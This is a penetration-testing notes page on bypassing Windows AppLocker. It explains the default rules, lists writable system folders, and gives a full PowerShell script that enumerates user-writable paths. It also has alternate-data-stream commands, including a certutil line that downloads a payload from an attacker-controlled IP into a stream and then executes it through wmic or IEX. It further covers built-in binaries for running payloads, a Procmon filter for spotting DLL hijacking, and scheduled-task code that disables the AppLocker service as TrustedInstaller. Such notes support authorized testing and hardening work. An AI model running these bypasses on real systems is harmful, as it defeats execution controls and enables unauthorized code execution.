Bypass AppLocker

Overview

AppLocker is a Windows native feature, added in Windows 7 Enterprise that replaces SRP (Software Restriction Policies) and allows for the restriction and control of files users can execute.

AppLocker works in accordance with the principle of whitelisting, i.e. files are prevented from being executed or interpreted unless they are explicitly allowed by inclusion in whitelisting rules.

A computer can implement one or more AppLocker rules that are defined locally (in Local Security Policy) or centrally via one or more Group Policy Object (GPO). The effective rules that are actually implemented on the computer is the sum of all rules defined in Local and Group policies.

AppLocker can control the process creation for the following files type:

Executables: .exe and .dom
Scripts: .ps1, .bat, .cmd, .vbs and .js
Windows Installer: .msi, .msp and .mst
Packaged Apps: .appx
Shared Libraries and Controls: .dll and .ocx

Extract AppLocker configuration

The effectively applied AppLocker rules can be retrieved using the Get-AppLockerPolicy PowerShell cmdlet.

An AppLocker rule is defined for an user or group, identified by the UserOrGroupSid attribute, and one or more conditions, which can be a filesystem paths, publishers for digitally signed files or files hashes.

Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL"

Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

Bypass default AppLocker rules

AppLocker provides different default rules for each files type category:

Executables The members of the local administrators group (SID S-1-5-32-544) can execute any binaries, while the other users can only execute binaries from the %PROGRAMFILES% and %WINDIR% folders.
Scripts Similarly, the default scripts rules allow the members of the local Administrators group (SID S-1-5-32-544) to execute any scripts, while the other users can only execute scripts from the %PROGRAMFILES% and %WINDIR% folders.
Windows Installer The default Windows Installers rules allow the members of the local Administrators group (SID S-1-5-32-544) to execute any Windows Installer files, while other users may only execute Windows Installer files that are digitally signed, by any authority, or from the %WINDIR%\Installer\ folder.
Packaged Apps By default, any user (Everyone) can execute digitally signed, by any authority, packaged apps.
Shared Libraries and Controls The Dynamic Link Libraries (DLL) rules must be enforced through advanced configuration, as they can affect system performance. In a basic AppLocker configuration, DLL rules may not be enforced. If enforced, the default DLL rules work in the same fashion as the executables and scripts rules. The members of the local administrators group (SID S-1-5-32-544) can load any DLL, while the other users can only load DLLs from the %PROGRAMFILES% and %WINDIR% folders.

Using writable files and folders in %PROGRAMFILES% and %WINDIR% folders

While these rules may seem secure, files or folders in %PROGRAMFILES% and %WINDIR% may be writable by non privileged users, resulting in a potential bypass of AppLocker default rules. Indeed, any executables and scripts placed in such folders, by non-privileged user that would normally be restricted in their programs execution by AppLocker, could allow for files execution against the default AppLocker rules.

The following folders in %WINDIR% may be writable by non privileged users on non-hardened Windows 10 and Windows Server 2016 systems:

# [System.Environment]::ExpandEnvironmentVariables("%WINDIR%")

%WINDIR%\System32\spool\drivers\color
%WINDIR%\tracing
%WINDIR%\Registration\CRMLog
%WINDIR%\servicing\Packages
%WINDIR%\servicing\Sessions
%WINDIR%\Tasks
%WINDIR%\Temp
%WINDIR%\System32\FxsTmp
%WINDIR%\System32\com\dmp
%WINDIR%\System32\Microsoft\Crypto\RSA\MachineKeys
%WINDIR%\System32\spool\PRINTERS
%WINDIR%\System32\spool\SERVERS
%WINDIR%\System32\Tasks\Microsoft\Windows\SyncCenter
%WINDIR%\System32\Tasks_Migrated
%WINDIR%\SysWOW64\FxsTmp
%WINDIR%\SysWOW64\com\dmp
%WINDIR%\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
%WINDIR%\SysWOW64\Tasks\Microsoft\Windows\PLA\System

The following PowerShell script can be used to enumerate the files and folders writable by the Users, Authenticated Users and Everyone groups. It can be run in Constrained language mode using powershell.exe -c IEX '<POWERSHELL_CODE>' in order to bypass the default AppLocker scripts rules.

# Source: https://gist.githubusercontent.com/bbhunter/20ca2d805d129aaaea7fda93aa48bfb4/raw/aec547f051b9b885b0d22ec989713d4c1a589b7e/UserWritableLocations.ps1

Param(
[parameter(Mandatory=$false)]
[String[]] $Exclusions = @(),

[parameter(Mandatory=$false)]
[String[]] $Paths = @(
  "C:\Windows",
  "C:\Program Files",
  "C:\Program Files (x86)"
),

[parameter(Mandatory=$false)]
[String] $OutFile
)

$FSR = [System.Security.AccessControl.FileSystemRights]

$GenericRights = @{
  GENERIC_READ    = [int]0x80000000;
  GENERIC_WRITE   = [int]0x40000000;
  GENERIC_EXECUTE = [int]0x20000000;
  GENERIC_ALL     = [int]0x10000000;
  FILTER_GENERIC  = [int]0x0FFFFFFF;
}

$MappedGenericRights = @{
  FILE_GENERIC_READ    = $FSR::ReadAttributes -bor $FSR::ReadData -bor $FSR::ReadExtendedAttributes -bor $FSR::ReadPermissions -bor $FSR::Synchronize
  FILE_GENERIC_WRITE   = $FSR::AppendData -bor $FSR::WriteAttributes -bor $FSR::WriteData -bor $FSR::WriteExtendedAttributes -bor $FSR::ReadPermissions -bor $FSR::Synchronize
  FILE_GENERIC_EXECUTE = $FSR::ExecuteFile -bor $FSR::ReadPermissions -bor $FSR::ReadAttributes -bor $FSR::Synchronize
  FILE_GENERIC_ALL     = $FSR::FullControl
}

Function Map-GenericRightsToFileSystemRights([System.Security.AccessControl.FileSystemRights]$Rights) {  
  $MappedRights = New-Object -TypeName $FSR

  If ($Rights -band $GenericRights.GENERIC_EXECUTE) {
    $MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_EXECUTE
  }

  If ($Rights -band $GenericRights.GENERIC_READ) {
   $MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_READ
  }

  If ($Rights -band $GenericRights.GENERIC_WRITE) {
    $MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_WRITE
  }

  If ($Rights -band $GenericRights.GENERIC_ALL) {
    $MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_ALL
  }

  return (($Rights -band $GenericRights.FILTER_GENERIC) -bor $MappedRights) -as $FSR
}

$WriteRights = @("WriteData", "CreateFiles", "CreateDirectories", "WriteExtendedAttributes", "WriteAttributes", "Write", "ModIfy", "FullControl")

Function NotLike($String, $Patterns) {  
  ForEach ($Pattern in $Patterns) { If ($String -like $Pattern) { return $False } }
  return $True
}

function Scan($Path, $OutputFile) {
  If ($OutFile) { New-Item -Force -ItemType File -Path $OutputFile | Out-Null }
  $Cache = @()
  gci $Path -Recurse -Exclude $Exclusions -Force -ea silentlycontinue |
  ? {(NotLike $_.fullname $Exclusions)} | %{
    trap { continue }
    $File = $_.fullname
    (get-acl $File -ea silentlycontinue).access |
    ? {$_.identityreference -Match ".*USERS|EVERYONE"} | %{
      (map-genericrightstofilesystemrights $_.filesystemrights).tostring().split(",") | %{
        If ($WriteRights -Contains $_.trim()) {
		  If ($Cache -NotContains $File) {
		    Write-Host $File
		    If ($OutputFile) { $File | Out-File -Append -Force -FilePath $OutFile }
			$Cache += $File
		  }
        }
      }
    }
  }
  return $Cache
}

$Paths | %{ scan $_ $OutFile }

If a file is writable, NTFS Alternate Data Streams (ADS) can be leveraged to bypass AppLocker without overwriting the file content, as AppLocker rules do not prevent the execution of ADS streams.

# Executables
# type being the DOS utility, not the PowerShell Out-File alias
type <BINARY> > "<LEGITIMATE_FILE>:<ADS_STREAM>"
certutil.exe -urlcache -split -f http://<IP>:<PORT>/<FILE> "<LEGITIMATE_FILE>:<ADS_STREAM>"

wmic process call create "<LEGITIMATE_FILE>:<ADS_STREAM>"

# PowerShell scripts
type <BINARY> > "<LEGITIMATE_FILE>:<ADS_STREAM>"
certutil.exe -urlcache -split -f http://<IP>:<PORT>/<FILE> "<LEGITIMATE_FILE>:<ADS_STREAM>"
powershell.exe -c "Get-Content C:\Windows\System32\spool\drivers\color\accesschk64.exe -Stream tmp.ps1 | IEX"

A more comprehensive list of tools and techniques to add and execute content for ADS is available on GitHub:

https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Using Windows built-in binaries

If the current user does not have the necessary rights to write to any whitelisted files or folders, default Windows built-in or .NET framework binaries may permit to run malicious payloads. As these binaries are stored in the %WINDIR% folder, their usage is authorized by the default AppLocker rules.

Among others, the following binaries may be leveraged to execute a custom payload:

Installutil.exe
Msbuild.exe
Mshta.exe
Regasm.exe
Regsvcs.exe
Regsvr32.exe

Payloads using the above utilities may be generated using the Python tool GreatSCT.

Bypassing hardened AppLocker rules

Using DLL hijacking

If the current user does not have the necessary rights to write to any whitelisted files or folders, and if the Windows built-in or .NET framework binaries that permit code execution are blacklisted by specific rules, DLL hijacking, of the DLL loaded by legitimate binaries, may allow for the bypass of AppLocker. DLL hijacking may also be exploited against binaries that are whitelisted, by path or file hash rules.

If the Procmon utility, from the Sysinternals suite, can be used on the targeted system, the following filter may be used to determine if any process may be exploitable for bypassing AppLocker using DLL hijacking:

Column	Relation	Value	Action
Result	is	NAME NOT FOUND	Include
Path	ends with	dll	Include
Path	ends with	sys	Include
Path	begins with	C:\Windows	Exclude
Path	begins with	C:\Program	Exclude
Operation	begins with	Reg	Exclude

Column

Relation

Value

Action

Result

NAME NOT FOUND

Include

Path

ends with

dll

Include

Path

ends with

sys

Include

Path

begins with

C:\Windows

Exclude

Path

begins with

C:\Program

Exclude

Operation

begins with

Reg

Exclude

For more information on DLL hijacking refer to the Windows - DLL hijacking note.

Bypassing AppLocker as an administrator

AppLocker is not intended to be used as a way to restrict program execution of members of the Administrators group. Even if an attempt to do so is made through specific AppLocker rules, members of the Administrators group may modify the AppLocker rules, either using gpedit.msc / secpol.msc, or by directly editing the rules, stored as files, in the %WINDIR%\System32\AppLocker folder.

Additionally, members of the Administrators group have the possibility to disable the appidsvc service, thus rendering AppLocker ineffective. However, the appidsvc can not directly be stopped, as while being STOPPABLE / ACCEPTS_SHUTDOWN, the service starts in Manual (Trigger Start) mode and is triggered and restarted by any AppLocker event, such as the execution of a file. The configuration of the service must thus be altered, and a restart of the operating system is needed in order to make the change effective. As the appidsvc service is protected by default by the Windows Protected Process Light mechanism, the Service Control Manager (SCM) restricts configuration of the service to the TrustedInstaller service account SID. The members of the Administrators group have the possibility to circumvent this protection by creating and running a schedule task that will run as the TrustedInstaller service account and change the appidsvc start mode before stopping it. The following code from James Forshaw can be used to do so:

# sc.exe qprotection appidsvc
# SERVICE appidsvc PROTECTION LEVEL: WINDOWS LIGHT.

$a = New-ScheduledTaskAction -Execute cmd.exe -Argument "/C sc.exe config appidsvc start= demand && sc.exe stop appidsvc"
Register-ScheduledTask -TaskName 'TestTask' -TaskPath \ -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')
$task = $folder.GetTask('TestTask')
$task.RunEx($null, 0, 0, $user)

References

http://docshare02.docshare.tips/files/17344/173447840.pdf https://github.com/api0cradle/UltimateAppLockerByPassList https://hinchley.net/articles/an-approach-for-managing-microsoft-applocker-policies/ https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992

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Last updated 2 years ago